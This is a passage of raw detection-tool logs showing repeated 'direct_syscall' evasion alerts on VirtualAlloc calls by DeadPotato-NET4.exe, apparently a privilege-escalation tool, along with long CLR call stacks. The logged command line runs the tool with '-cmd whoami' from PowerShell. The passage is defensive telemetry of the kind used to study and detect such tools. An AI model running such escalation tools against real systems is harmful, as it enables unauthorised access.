C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b3b7d6c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d6230 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cf3ed C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c51a5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c33b9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c3fb3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dea99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3af04f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ade3d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8775618f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87756d72 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce26f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce105 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cdfdc C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d06e1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d0bdd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397799 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb87758ab1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094876 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2951548 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def1000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffba15f9b27 C:\Windows\System32\KernelBase.dll!MultiByteToWideChar|0x7ffb8b4050b8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b40553f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b4053b7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b404bf0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b3b7d6c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d6230 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cf3ed C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c51a5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c33b9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c3fb3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dea99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c7c99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c78c0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c5496 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c33b9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c3fb3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dea99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3af04f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ade3d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8775618f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87756d72 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce26f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce105 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cdfdc C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d06e1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d0bdd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397799 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb87758ab1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094878 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2952609 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def0000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffba15f9b27 C:\Windows\System32\KernelBase.dll!MultiByteToWideChar|0x7ffb8b4050b8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b40553f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b4053b7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b404bf0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b3b7d6c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d6230 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cf3ed C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c51a5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c33b9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c3fb3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dea99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3de909 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c7c99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c78c0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c5496 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c33b9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c3fb3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dea99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c7c99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c78c0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c5496 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c33b9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c3fb3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dea99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3af04f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ade3d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8775618f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87756d72 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce26f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce105 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cdfdc C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d06e1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d0bdd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397799 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb87758ab1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1095266 + Pid: 2704 + Tid: 10668 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.3162224 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324e1fa000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: 